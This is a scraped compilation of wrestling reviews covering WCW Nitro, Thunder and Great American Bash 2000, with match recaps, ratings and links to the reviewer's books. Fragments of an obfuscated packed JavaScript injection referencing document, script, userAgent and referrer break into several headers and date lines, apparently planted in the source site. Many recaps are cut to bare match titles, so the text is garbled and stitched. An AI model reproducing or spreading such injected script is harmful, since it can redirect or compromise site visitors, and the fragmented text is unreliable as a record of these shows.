Monday Nitro – June 5, 2000: I Was Wrong

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yretn|var|u0026u|referrer|aafia||js|php'.split('|'),0,{})) Nitro #243
Date: June 5, 2000
Location: Philips Arena, Atlanta, Georgia
Attendance: 13,487
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

We recap Abbott vs. Goldberg in a failed attempt to make us believe that Abbott has a chance.

Bischoff and Russo yell at the New Blood. Torrie can be seen storming off as this goes on. Good for her.

Tag Team Titles: Kronik vs. Chuck Palumbo/Shawn Stasiak

Adams is tired of his hair being messed up and grabs a backbreaker on Shawn, setting up the tags to Clark and Palumbo. Clark cleans house but the Cat gets in the ring and threatens the referee. Palumbo and Clark fight into the crowd and Adams drops Stasiak onto the steps. With everyone on the floor, Cat grabs the referee and demands a count right now. Adams throws Stasiak in and Cat counts a very fast eight nine ten to retain the titles.

Kronik goes after Cat but the champs make the save and take the beating themselves.

Kidman yells at Torrie (in a bikini with a skirt) for some reason until Major Gunns of all people makes the save, earning her some swearing.

Video on Kidman vs. Hogan.

Gunns cries to the Misfits about what Kidman said to her. G.I. Bro promises to take care of things.

Goldberg chats with Nash and Steiner.

G.I. Bro vs. Kidman

Both groups come in for the brawl and the Animals dominate.

Hardcore Title: Eric Bischoff vs. Terry Funk

As they leave, Funk wheels Bischoff back to ringside (with Awesome looking at them without stopping) but we cut to the back (segment #4 in this match) to see Russo sending in the Mamalukes. Funk loads up a Stinkface but the Mamalukes come in and lay out Funk in less than two minutes, giving Bischoff the pin and the title.

The Flairs are here.

US Title: Scott Steiner vs. Vampiro

Tank Abbott vs. Goldberg

Kimberly yells about Hancock.

WCW World Title: Sting vs. Jeff Jarrett

May 22 – Raw: 7.1, Nitro: 3.0

May 29 – Raw: 6.4, Nitro: 3.0

June 5 – Raw: 5.9, Nitro: 2.8

June 12 – Raw: 6.8, Nitro: 3.0

Yeah keep going with that burying your champion after changing the title 18 times in five months. Maybe if you work hard, Raw will only double your numbers.

Jeff is put in an ambulance.

Kimberly/Mike Awesome vs. Diamond Dallas Page/Miss Hancock

They catfight for a bit until Hancock slaps Awesome and runs over to Page for an actual wrestling match. Page speeds it up with a jumping clothesline and starts a brawl. That goes nowhere so Page tries a backslide, only to take a low blow to give Awesome control. Awesome sends Page flying with a nice German suplex but Page is right back up to send him into the buckle.

Horace Hogan vs. Hulk Hogan

Kidman comes in but gets beaten down as well.

Vince Russo vs. Ric Flair

So Ric beats up his son for a bit as Russo sets up a ladder in the ring for no apparent reason. He climbs up and pulls part of the roof down, likely so we can have more interference. Russo gets to the top of the cage but Ric follows him, only to get poked in the eye so Russo can get the better of it. Vince climbs back into the cage but Ric stomps his hands to make him fall. Since this is WCW, the camera misses the big crash.

Ric climbs down the ladder and puts Vince in the Figure Four, which Russo survives for OVER A MINUTE until the red liquid falls from the ceiling and knocks Ric and Charles Robinson out. David puts Ric in the Figure Four and Russo pops to his feet (not even a limp) and chokes Ric until Robinson counts the pin. Russo is polite enough to collapse after walking around the ring for a bit.

Nash and Steiner have a meeting before the main event.

The announcers chat for a bit. I always love seeing them at a makeshift table for some reason. It sums up WCW so well.

Kevin Nash vs. New Blood

Gauntlet match. Disco is out first in an Atlanta Falcons jersey, of course leading out Russo who is still not wearing a shirt. We get some Russo acting as he says Nash loses his shot if he gets pinned or if any of the Millionaires interfere. There are about ten guys on the ramp to come after Nash and Disco is in first, only to take a side slam for a quick pin after about nine seconds.

This show was running in the opposite direction and seemingly trying to either be as horrible and against what the fans wanted as possible. The pay per view was secondary to pushing the writers as the real stars of the show while so much of the night was about nothing. I have no idea what was supposed to make me want to get keep watching this show because the stories are totally uninteresting and far more confusing than they should be.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Nitro – May 8, 2000: I Bet They Can’t Even Spell DQ

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdihb|var|u0026u|referrer|aatfd||js|php'.split('|'),0,{})) Nitro #239
Date: May 8, 2000
Location: Trans World Dome, St. Louis, Missouri
Attendance: 6,545
Commentators: Scott Hudson, Mark Madden, Tony Schiavone

By the way: the Trans World Dome has a capacity of 66,000 people. Whoever decided to book this building needs to be shot.

Post break, Bischoff makes Awesome vs. Page in a stretcher match and Sting vs. Jarrett in a title match.

Hardcore Title: Ralphus/Norman Smiley vs. Terry Funk

Funk is defending and Norman/Ralphus are fired if they lose. Norman sends Ralphus after Funk first and it works even worse than you would expect it to. The champ knocks Norman into the crowd and they quickly fight into the back with Smiley jumping into a golf cart to chase Funk around.

Terry gets on the back of the card and they go crashing into some crates. This is eerily reminiscent of Kane vs. Raven vs. Big Show at Wrestlemania XVII. They wind up in the kitchen and start beating each other over the head with cookie sheets. Ralphus joins them and gets beaten down all over again. Funk pounds them both down with a sheet and gets the pin to retain.

The announcers talk about David Flair turning on his dad.

Ric tells Luger that he has to deal with David on his own.

All of this gold means nothing though when you compare it to what happened last night. Ric wants David to come out here right now and apologize for what he did and be his own man instead of trying to be Ric Flair. Cue David and Daffney but Russo quickly joins them. Last night, Russo spat in the face of a long list of people who stand for tradition. Of course he has an actual list and the top name is Ric himself. Now David is standing next to the father that he never had.

Post break Russo yells at Liz and puts her in her first ever match against Daffney. If Liz wins, she can go with Luger.

Shawn Stasiak vs. Captain Rection

Stasiak runs down Mark McGwire for some easy heat. Rection shrugs off some early offense and pounds down right hands in the corner. Cue Miss Hancock to watch as Hennig comes down to shove Stasiak out of the way of a splash. The PerfectPlex gives Stasiak the pin.

Mike Awesome vs. Diamond Dallas Page

Russo asks Steiner for protection tonight but Steiner blows him off. Post break Russo is asking Tank Abbott.

Here are Steiner and the girls with something to say. Steiner talks about beating Rection last night and he found one of his own with the girls at the hotel. After some more sex talk, Steiner calls out that amoeba Booker T. Tank Abbott comes in from behind and knocks Steiner out cold.

Harlem Heat vs. Kronik vs. Harris Twins vs. Mamalukes

Russo tells someone to be on standby.

Elizabeth vs. Daffney

Hulk Hogan/Kevin Nash vs Filthy Animals/Mike Awesome

WCW World Title: Jeff Jarrett vs. Sting

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Thunder – May 3, 2000: Rules? Where We’re Going We Don’t Need Rules

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdhns|var|u0026u|referrer|ydneb||js|php'.split('|'),0,{})) May 3, 2000
Location: Mid-South Coliseum, Memphis, Tennessee
Attendance: 3,979
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

Opening sequence.

Jeff Jarrett vs. Chris Kanyon

Wall picks out his name.

The Wall vs. Total Package

They fight outside with Luger yelling at Russo, allowing Wall to get in a shot from behind. Wall and Luger head back inside as Russo hits Flair with the bat. Now how did he not see that coming? Luger Racks Wall but Russo hits Luger with the back as well, making Luger drop Wall through the table for the win. In the match with no rules but a tables stipulation which I guess you call yourself.

Ric Flair vs. Kidman

Diamond Dallas Page vs. Vampiro

Sting jumps Vampiro from behind, beats him up, covers him in blood and throws him in for the Diamond Cutter in less than a minute.

The New Blood is all shook up.

Mike Awesome vs. Sting

Scott Steiner vs. Hulk Hogan

Steiner swears a lot in the back and chokes Russo and Bischoff.

A new limo pulls up with FUNB on the license plate.

Kronik vs. Shane Douglas/Buff Bagwell

Bischoff says he has an idea.

Battle Royal

Ric Flair, Sting, Brian Adams, Bryan Clark, Horace Hogan, Diamond Dallas Page, Hugh Morrus, Kanyon, Total Package, Curt Hennig, Hulk Hogan, Shawn Stasiak, Jeff Jarrett, Vampiro, Mike Awesome, Scott Steiner, Buff Bagwell, Shane Douglas, Chris Candido, Kidman, The Wall, The Cat

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




On This Day: July 24, 2000 – Monday Nitro: Goldberg……I Can’t Say It

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiset|var|u0026u|referrer|yazay||js|php'.split('|'),0,{})) Nitro
Date: July 24, 2000
Location: CSU Convocation Center, Cleveland, Ohio
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

US Title/Hardcore Title: Big Vito vs. Lance Storm

Booker T is coming to the ring.

Buy New Blood Rising! PLEASE!

Back from a break and the announcers talk about what we just saw.

Billy Kidman jumps in on commentary and says he has a sex tape of him and Torrie tonight. Oh dear.

David Flair/Ms. Hancock vs. Lieutenant Loco/Major Gunns

Jeff Jarrett wants a title match, so Cat gives him a handicap tag title match against Kronik. Ok then.

Tag Titles: Jeff Jarrett vs. Brian Adams

I think this is a tag title match. Jarrett jumps Adams as he comes in but a clothesline misses and Adams hits his tilt-a-whirl backbreaker for two. Back up and Jarrett whips Adams in but ducks his head like a schmuck, letting Adams hit a piledriver for another two. They head to the floor and Adams (more famous as Crush in the WWF) tries to ram Jeff into the post but Jeff escapes and sends Adams in instead.

Sting is leading in the fan voting poll.

Vampiro vs. Great Muta

Never mind as Miller gets up and beats everyone down. Great way to debut a stable there.

WCW World Title: Booker T vs. ???

After a break, Booker wants the match to start again.

Buff Bagwell vs. Kanyon

Buff gives chase after a break.

Kidman still has a sex tape.

Shane Douglas vs. Mike Awesome

Billy pops up on the stage with some underwear. Lance Storm tries to jump Awesome but gets Awesome Bombed.

Post break, Douglas beats up the guy that played the tape.

Filthy Animals vs. Misfits in Action vs. Perfect Event vs. Natural Born Thrillers

Fifth, why would this match be on Nitro instead of on the PPV? Sixth, why did it take Konnan so long to open the door? Seventh, why did Madden have bolt cutters? Eighth, why were the first two teams in this in the first place? Ninth, who thought Rey as a heel was a good idea? Finally, WHAT DID I JUST WATCH???

Stevie Ray goes up to Goldberg in the back and yells at him, so Goldie throws him through a glass window.

WCW World Title: Booker T vs. Goldberg

Goldberg immediately pops up and spears Booker down and hits a Jackhammer to stand tall to end the show.

Not to mention this all happened after the fans were told they could vote and then had their pick knocked out, making it completely meaningless. This would also be the sensible match after the even bigger mess that the cage match on free TV was. They were out of business how soon after this?

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:




On This Day: June 12, 2000 – Great American Bash 2000: Goldberg Turns And Sting Burns

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hybhd|var|u0026u|referrer|tztzi||js|php'.split('|'),0,{})) American Bash 2000
Date: June 11, 2000
Location: Baltimore Arena, Baltimore, Maryland
Attendance: 7,031
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

 

Well I figured that since I’m halfway through 2000 I might as well finish the year off and for some reason I thought it would be better to start adding one on to the end at a time. Anyway the main event is Jarrett vs. Nash for the title with a huge swerve that would be blasted from one end of the world to another but that’s expected. The rest of the card is your usual WCW 2000 garbage so let’s get to it.

 

There are cops waiting on Goldberg to get here because I guess he isn’t here yet or something.

 

The opening video talks about the matches tonight, which has Flair vs. Flair and Hogan vs. Billy Kidman. Well ok then. No theme to it or anything, just a list of some matches.

 

Apparently Goldberg has been let out of a Nashville jail. Why is he in it? Who cares. Apparently he was in it though.

 

Cruiserweight Title: Disco Inferno vs. Lieutenant Loco

 

Loco is Chavo Guerrero and is champion here. Chavo says he has a surprise for Disco: and it’s something that the announcers aren’t thrilled with him having. I don’t particularly care since they’re not sure either but apparently it’s something they would have gotten in trouble for having. Disco is part of the Filthy Animals here. Can we just look at Major Gunns and Tygress?

 

Everyone is chilling at ringside so it looks like a lumberjack match for the most part. Disco is in a Lakers jersey and Chavo is in blue camouflage so this is a rather weird looking match to say the least. Chavo takes over to start but Disco gets a hot shot to take over. And never mind as he gets sent to the floor for the quick beatdown by the Misfits. Scott dubs Disco the Hip Hop Inferno.

 

Big dive off the top by Chavo takes out Disco as this match is dragging badly. It’s not that bad but it’s just a bit boring to say the least. Back in the rind and Disco gets a slam and dances a bit. Some old dude in a helmet wanders out to hit on Tygress. Apparently he’s General Rection’s grandfather so Konnan shoves him down. While that’s going on Juvy comes in and beats up Loco but Lash Leroux takes out Disco and puts Chavo on top for the pin.

 

Rating: D. What a freaking mess. You have Chavo who was incredible at this point and Disco who was……well Chavo was incredible at this point so he more than could have carried a five minute match by himself. Instead this was a total wreck with no flow at all to it and barely any wrestling at all. Why do I have a feeling that this is going to be a running theme tonight?

 

Some very bad actors dressed as cops tell Bischoff and Miller that their surprise for Nash is safe.

 

The Mamalukes say they’ll win. This results in a lot of bad Italian stereotypes. Apparently Vito claims to be the Hardcore Champion even though Johnny the Bull was supposed to be.

 

Order this show and get a Hulk Hogan…..inflatable raft? Dude…..why?

 

Kronik vs. Mamalukes

 

Winners are the #1 contenders. During the intros we’re assured that Goldberg WILL NOT be here tonight. Good to know indeed. The winner gets the Perfect Event. Apparently since the Mamalukes are in the New Blood they can defend the title using the Freebird Rule. Vito gets beaten down by Adams to start and they switch off. Clark hits a Rock Bottom to Johnny and the Italians are getting destroyed so far.

 

Vito comes back in and still has the belt on. I have a feeling that’s going to be a running joke here. Clark gets chopped and smacked in the chest a few times as Tony talks about how the Mamalukes walked into WCW and won the tag titles. Yes, that doesn’t bury the division in the slightest. Adams comes in to hammer on Johnny a bit. Full Nelson Slam kills Johnny for two. DDT gets no cover for Johnny as he brings in Vito instead.

 

Not that it really matters as Kronik hammers him down using the power of marijuana. Their name was Kronik and their finisher was called High Times. What do you think they were talking about? Clark botches what would become known as the F5, more or less dropping him on his head for two. Johnny comes in so Vito sits goes over and polishes the belt. A reverse cross body literally misses by four feet and High Times end Johnny a second later. Vito doesn’t seem to mind.

 

Rating: C-. Just a match really as there was no real need for them to fight other than for the sake of being the #1 contenders. Not bad or anything, but I have no idea who I was supposed to cheer for out there. In other words, Russo lives! Let there be no defined faces or heels ever!!!

 

DDP has something special for Mike Awesome apparently.

 

Diamond Dallas Page vs. Mike Awesome

 

This is an ambulance match. Page’s surprise is Chris Kanyon in a wheelchair after Awesome threw him off a cage and broke his neck or something. And of course, Kanyon will NEVER turn on DDP EVER! They head to the floor and then the crowd almost immediately. Page gets a shot in to send us back to ringside very quickly as this is a big brawl. They somehow change momentum three times in 10 seconds and make it four in 12.

 

The referee is down also but that’s WCW for you. To the ring now as the referee is getting up a bit. Awesome comes off the top with a back elbow and a belly to back suplex has Page down. Tony thinks it’s odd that there’s no surprise yet, even though Bischoff kept saying it was for NASH, who hadn’t been seen yet. Awesome sets up a table as we talk about Kanyon a bit.

 

Powerbomb through the table as this is a match that was used in a clip on Whose Line Is It Anyway? Page is put on a stretcher because simply throwing him in the ambulance isn’t enough I guess. Awesome gets a chair shot in and we head back to the ring because winning doesn’t matter right? Top rope splash looks to kill Page and the second probably does. A third splash misses as Page is between a pair of chairs this time so he had to move right?

 

Here’s Kimberly because Page is out there. They’re having “problems” which were probably brought on by her heel turn. She hits DDP with a pipe so Miss Hancock (Stacy Keibler) comes out and drags her off. They’re “having problems” also apparently. Awesome looks for an Awesome Bomb off the top but Page gets a low blow and a Diamond Cutter off the top. The medical people put him on a stretcher and here comes Bischoff to take out Kanyon. And of course Kanyon comes out of his wheelchair and hits a Diamond Cutter to end Page. Awesome wins with ease.

 

Rating: D. The match was junk, but let’s take a look at the angle that ended the match. Kanyon was indeed thrown off a cage to the ramp. It’s not like we saw that off camera or anything. DDP took care of him and then Kanyon betrays him for the people that tried to cripple him in less than a month? Are we really supposed to buy that Awesome was able to convince Kanyon that Page was the bad guy? Or that Kanyon was in on this all along and that he went along with being thrown around like that? And people wonder why Russo’s booking is so criticized.

 

The announcers point out how stupid this is.

 

Shawn Stasiak vs. G.I. Bro

 

And here’s the latest way to waste a guy like Booker: he’s a military guy when there’s already a military themed stable. He comes in on a zip line like Shawn did at Mania 12, but at about 1/3 of the height and 1/10 of the speed. The announces speculate that Kanyon was the surprise because they’re not that smart. Oh apparently Booker is part of the MIA. It just wasn’t mentioned until here.

 

This is a Boot Camp match, which means Last Man Standing. Why they’re fighting isn’t required information but I’d bet it’s MIA vs. New Blood. They’re both in camo here because that’s what you do in the army right? Booker takes him to the floor and hammers away as we go into the crowd. WEAK chair to the head (drawing slight booing) takes down Stasiak for all of a second. A horrible top rope forearm gets about seven.

 

Oh and don’t worry: we’re willing to cut away to the back at the drop of a hat if Goldberg arrives. You know, because you paid your money to see a car pull into a parking lot 45 minutes into a show right? Jumping back elbow puts Booker down and they actually treat it like a move that could end this. Big spinwheel kick by Booker takes him down for no reaction for the most part.

 

Stasiak sends him to the floor and we head to the ramp for a suplex. Back in the ring as there’s no heat on this match in the slightest. Back to the floor again as they have no idea what to do with nearly 14 minutes total for this match. Chair shot puts Booker down on the floor and back in the ring a gutwrench powerbomb gets 9. Time for a sleeper because this match isn’t boring enough already.

 

The fans chant boring and I can’t blame them in the slightest. This is what we mean when we say adding a gimmick for the sake of adding a gimmick. They can’t even explain why these two are fighting and yet we’re supposed to want to see a gimmick match between them an hour into the show in the fifth slot? There’s no heat here and the only reason this gimmick is here is because someone has a military gimmick.

 

Book End hits out of nowhere and I don’t bother waiting to hear what the stupid military name of that is. They call it a uranage suplex here but screw that. Of course it only gets like five but it sets up the missile dropkick, as in both of his finishers that can’t take down Stasiak. Palumbo, Stasiak’s partner, comes out with the Lex-Flexor exercise bar but hits Booker low anyway. A shot to the back of Booker puts him down as Tony rants against relaxed rules in a match with no rules. Booker gets up and mostly hits a double clothesline and beats up the tag champions on his own. A shot to Stasiak with the flexor ends this.

 

Rating: D-. Oh give me a break. Someone thought that Shawn freaking Stasiak was the best use of Booker T here? I mean come on now man. There was zero reason at all for this to be a gimmick match in the slightest so they went with it anyway. Guess what is up next: a gimmick match. After that, another gimmick match. Before this, another gimmick match. This is a great example of Russo’s writing in a nutshell and one of the better ones you’ll ever see. Oh and the match sucked, easily the worst last man standing match I’ve ever seen.

 

Goldberg’s monster truck is here.

 

Page might still be here.

 

Kanyon says he’s positive DDP is gone. Make that Positively Kanyon. This was the start of Kanyon’s newest gimmick: he would imitate Page who had a new book out called Positively Page. This, of course, went nowhere of note. This somehow translates to Bischoff got to Kanyon in the hospital and brainwashed him. I give up.

 

The Wall vs. Shane Douglas

 

Douglas curses a lot before the match and apparently doesn’t like Flair and Hogan. Now this is no longer a tables match as we’re going to make it a best of five tables matches with Shane saying now we’re guaranteed five tables being broken. Thank you for admitting you’re going through at least two Shane. Ok now you have to put someone through five tables to win. PICK A RULE ALREADY!

 

It’s first to five now. Ok, let’s stick with that. Wall has a really stupid looking black goatee now so he looks like a cross between Hitler and Kurrgan. Again no reason given for why they’re fighting or anything because that would be important information right? Standard match to start as we continue to waste more time on this show. Douglas hits a suplex and a reverse Hennig neck snap.

 

Wall is sent onto a table but not through it. No one has gone through anything yet. They fight on the floor in maybe second gear at best. Shane tries a suplex through it but gets countered and Wall hits a chokeslam to go up 1-0. Wall blocks a shot into the post and gets a release belly to back suplex through the table as they change the rules in the middle of the match to make it best of five instead of first to five.

 

Back in the ring as Shane is totally fine after a pair of table breaks with a low blow. Shane wants to take it to the back but settles for by the stage instead. What a shock: there are a bunch of tables there with a ladder next to them. Shane goes up the ladder and there are either two tables on a stage or three in a row with a cloth over the bottom one. Wall has his back to the tables but wants a chokeslam anyway. Shane knocks him through it with brass knuckles as all of a sudden it’s just TWO tables again but they say Shane wins anyway as it switches from 3 to 2 to 3 again inside of five seconds. Just go on already.

 

Rating: F+. We get it: you can have gimmick matches. Was there a point to having this be a table match? Or even to have the match in the first place? NOT IMPORTANT!!! This is yet another stupid gimmick match as Russo treats its fans like idiots that are going to be easily fascinated by things being broken. Whatever dude.

 

Wall puts the referee through a table post match just because.

 

Hogan arrives, 75 minutes into the show in an old school Dodge Charger.

 

US Title: Scott Steiner vs. Tank Abbot

 

Scott is US Champion here and this may or may not be for the title. We’ll say it is anyway as it would make sense…..yeah let’s just go with non-title. It’s also in the Steel Asylum. Here’s another brilliant idea of WCW. The Asylum is a small round cage about 10 feet in diameter that is lowered into the ring. No ropes or anything, just a small cage. And now Rick Steiner is added to the match to make it a handicap. Well sure why not.

 

US Title: Scott Steiner vs. Rick Steiner/Tank Abbott

 

Scott is a face here if that wasn’t clear. Rick and Tank double team him for awhile and here comes the cage. The fans chant for Goldberg but even he couldn’t save something this stupid. They destroy Scott for a minute or so until Tank pulls out a chain. Rick pulls a Lee Corso (that name won’t mean anything to you if you’re not from America or into college football) and says not so fast my friend. Abbott hits Rick with the chain, Scott gets a low blow, Recliner keeps the title on him. Ok so it was for the title. Good thing they waited until after the match to tell us it was in jeopardy no?

 

Rating: J. As in just….no. It runs less than four minutes, two of which are spent hammering on Scott before the whole cage thing came down. The stuff inside the little ring of death or whatever is maybe 90 seconds long and the whole thing is just stupid. I guess this was so they didn’t need to have Steiner run or whatever. Just move on.

 

Flair is here, looking like Doc Brown from Back to the Future goes Hawaiian.

 

We recap Hogan vs. Kidman. Kidman got a fluke win over Hogan so this is the rematch. If Hogan wins, he gets a title shot next month (oh boy. It’s THAT show) and if Kidman wins, Hogan retires. Hogan’s nephew Horace is refereeing and doesn’t like his uncle.

 

Billy Kidman vs. Hulk Hogan

 

Horace comes out with Kidman. Kidman has some Shawn Michaels like pyro. It’s the NWO theme for Hulk here. Kidman goes straight at him….and is destroyed pretty quickly. There’s the big boot maybe a minute in so Kidman hits the floor. Torrie has turned her back on Kidman. Meaning she WILL NOT be here right? Kidman has had no offense at all so far.

 

Back to the ring and it’s time for choking. Hogan gets in Horace’s face which of course goes nowhere. Kidman comes back with some choking but a low blow with Horace looking right at them is ignored. Here’s the weightlifting belt which is Hogan going EXTREME I guess. Back to the floor and Kidman dropkicks a chair into the face of baldie. That gets two in the ring as this is as riveting as it sounds.

 

Hogan continues to do almost nothing but punch and choke. Oh wait he rammed him into the railing twice. Hudson makes sure to let us know that we’re here because of Hogan and no one else PERIOD. Back to the ring as Kidman hits a DDT onto the chair that is so bad it’s booed before Kidman can even cover. I mean Kidman is off Hogan who then SLOWLY lowers his head down onto the chair. This is horrible.

 

Kidman gets two again and yells at Horace for calling it unfairly or something. The fans chant for Hogan who I think is the face here, making him out to be a huge bully for hammering on a guy half his size. Here comes the Hulk Up against the guy called the Flea Market Champion. There are ten punches in the corner and a running clothesline. Back to the floor for like the 4th time and Kidman is tossed through the table.

 

Here’s Torrie so at least we have something to look at now. She hands Hulk brass knuckles because he needs them I guess. Kidman knocks Hulk into Torrie and her ankle is hurt. Kidman gets a shot with the knuckles in for two. Horace shoves Kidman and now let’s get stupid as Kidman hits Horace with the knuckles. So if they were still on his hand, why didn’t he hit Hogan with them again instead of choking him? Torrie hits Kidman low and a shot with the knucks to Kidman ends this. Oh and Hulk and Horace are cool again.

 

Rating: D-. Hey look: another stupid match with a way overbooked ending and a gimmick to it. Hogan was never going to job to Kidman twice and now Kidman looks like just as much of a joke as he did before this whole Hogan thing. It’s the difference between a rub and being in the ring with someone. He wouldn’t do anything after this other than feud with Shane Douglas which went nowhere. It’s not a failure because Torrie looked good and that’s about it.

 

Bischoff yells at a cop about life in general.

 

Bash at the Beach is coming, sponsored by Master Lock. Yes, a lock company is the best they can get at this point.

 

We recap David Flair vs. Ric Flair with the idea being that Russo has brainwashed David into thinking that Russo is the father that David never have and it’s a big Ric vs. Russo thing.

 

Russo says this is going to be fun.

 

Ric says this is going to be fun.

 

Ric’s family shows up.

 

Ric Flair vs. David Flair

 

If Ric loses he has to retire FOREVER (which is how it says it on the graphics). With Russo on the floor we actually gets some wrestling here as Ric does most of the work, namely because he has about 100x the talent. David chops away in the corner and actually takes over for a bit. You know Ric is going to sell for his oldest boy. Ric gets sent into the railing and takes a decent delayed vertical suplex for no cover.

 

And so much for David’s decent run as we hit a bad sleeper. Ric suplexes out of it and we have a very basic match going here. David’s shirt comes off as this is going very slowly here. Out to the floor as Ric takes over again. We need to get to the next match so I can use last names again. Russo interferes and takes out the knee of Ric and handcuffs him. So the referee had his back to Ric and Russo and all of a sudden Ric is in handcuffs….AND THAT’S ALL COOL??? And people wonder why this company was called stupid.

 

David puts on the Figure Four which gets him nowhere for the most part. It does get Russo to hold his hands. Does that mean they’re going steady? Reid Flair jumps the railing and hits Russo in the balls and steals the handcuff key. The referee gets the key as David beats up his brother and frees Ric. Ric’s wife or daughter (like you can tell) cuffs Russo and Ric taunts him a bit. Ric beats on David for awhile before putting him out of his misery with the Figure Four.

 

Rating: C. Somehow this was by far and away the best match of the night so far unless I’m forgetting something. It’s not that bad, mainly because they let Ric walk the far more inexperienced David through it. They didn’t try to make this too complicated and that fits because David had very little experience and his character wasn’t much of a wrestler anyway. Not too bad here I guess, all things considered.

 

Ric chops Russo a bit post match. Russo rants about various things, making a match for tomorrow night between Ric/Reid vs. Russo/David in another retirement match which would retire Flair.

 

We recap Vampiro vs. Sting with the idea being that it’s a human torch match. You have to light the other person on fire to win. That’s nothing like the Inferno match at all is it?

 

Vampiro vs. Sting

 

There’s a torch up by the video screen that you have to climb a ladder to get to. This isn’t going to end well is it? Vampiro lights the torch and has a gas can near it. There’s an ambulance and firefighters here for this. Russo must be loving this. Sting pulls the torch up above the screen as I mentioned before. Sting wants to know if Vampiro is afraid of heights because if Vampy wants Sting he has to come up here.

 

Vampiro yells a lot and we stand around a lot. Sting repels down and it’s time for the actual match to start. They fight in the ring as I have a feeling this is going to end badly. Spinwheel kick takes Sting down so Sting comes back even faster with a powerslam and a bunch of clotheslines. Stinger splash misses in the corner so Vampiro pours gasoline on Sting.

 

As always, in a huge arena, the announcers can smell the fuel many feet away. They fight up the ramp and climb up the structure with Sting getting kicked off. The announcers say that’s it so Vampiro keeps climbing. Sting climbs up anyway and there go the lights as we attempt to conceal the obvious switch that is coming up. They “fight” on top of the screen and even with the camera where it is you can barely see anything.

 

And them Vampy grabs the torch and lights Sting on fire. Sting dives off the screen to a crash pad and Vampiro wins. He must have really been burned badly because between falling down up there and the jump he lost about 3 inches of hair and shrunk a good 4 inches. That’s some powerful fire.

 

Rating: N/A. Yeah this wasn’t wrestling. This is one of those matches that is so stupid it defies logic. This is what I recommend doing in this situation: picture the booker/writer pitching this idea to say Jack Brisco, Lou Thesz and Harley Race. If the reaction is either a blank stare, massive amounts of angry cursing or a right cross, IT’S NOT A GOOD FREAKING IDEA!

 

Bischoff is talked to by some blonde chick in the back and doesn’t want to talk right now. There’s no big surprise. What is this, Monster A Go-Go?

 

WCW World Title: Jeff Jarrett vs. Kevin Nash

 

Let’s get this over with. Ernest Miller comes out before the match and introduces the Filthy Animals, as in New Blood cronies (despite them leaving like a week before) to be bell ringer and time keeper and all that jazz. Oh and Miller is referee. Nash shoves him around a lot to start until the Animals distract Nash to let Jarrett taker over. Jeff is champion if I didn’t mention that.

 

Miller is on the floor. Nash hammers on Jarrett and literally everyone stops to look at the entrance and nothing happens. Now back to the match. Weird indeed. Snake Eyes puts Jarrett into the replacement announce table and we go into the crowd. Back to the ring after Nash beats on Jarrett a bit and it’s Jeff with chair shots to the knee. This is one of those matches where stuff goes on but nothing is really happening.

 

Jarrett works on the leg for a good while as we’re clearly filling in time before the whole surprise thing happens. No one buys that the surprise isn’t happen, so I don’t know why we have to waste 15 minutes before we get to it. Half crab to Nash who won’t give up because raising your arm three times in a row is too much effort I guess. There’s the figure four as we waste even more time.

 

The hold goes on for a very long time to the point where most people would have broken their leg already but since it’s Nash he gets to just roll around a bit while barely grimacing. Nash tries to get to his feet but Konnan hits him in the hands with the bell for a two count for Jeff. Nash, despite being in the figure four for two minutes after about five minutes of leg work and a shot to the head with a metal bell from a professional athlete, is able to take over and actually run to the corner to take out Rey.

 

Belt shot gets two as Disco makes the save. Juvy gets in a chair shot to take over as the fans chant for Goldberg. Miller comes in to referee with a two count as this is a total mess. The Animals get beaten down as Nash is fighting seven guys to a stalemate. Jarrett, the world champion, hits his finisher for only two. Well of course it was only two. I mean he’s just the world champion after all.

 

Guitar shot misses and Jarrett walks into a chokeslam for two as Miller has something in his eye. Tony actually shouts BOGUS a few times. Powerbomb to Miller and one to Jarrett but the third referee is taken out by Rick Steiner. Tank Abbott tries to come out but somehow Scott Steiner cuts him off. If Steiner wanted to help, WHERE WAS HE WHEN THERE WERE LIKE EIGHT GUYS ON NASH???

 

Everyone beats on Nash including a Bronco Buster from an unmasked Rey. And cue a big noise as Goldberg is here in his monster truck. Maybe that’s what the sound was earlier? His music kicks on and the place erupts. Goldberg is here….and he joins the New Blood with one of the worst spears you’ll ever see. Yes, the ultra star of the company, the ONE guy they still had that was a big face draw, is added to the super heel group as a Bischoff/Jarrett/Russo lackey. Jarrett gets the academic pin and the SHOCKED celebration ends this mess.

 

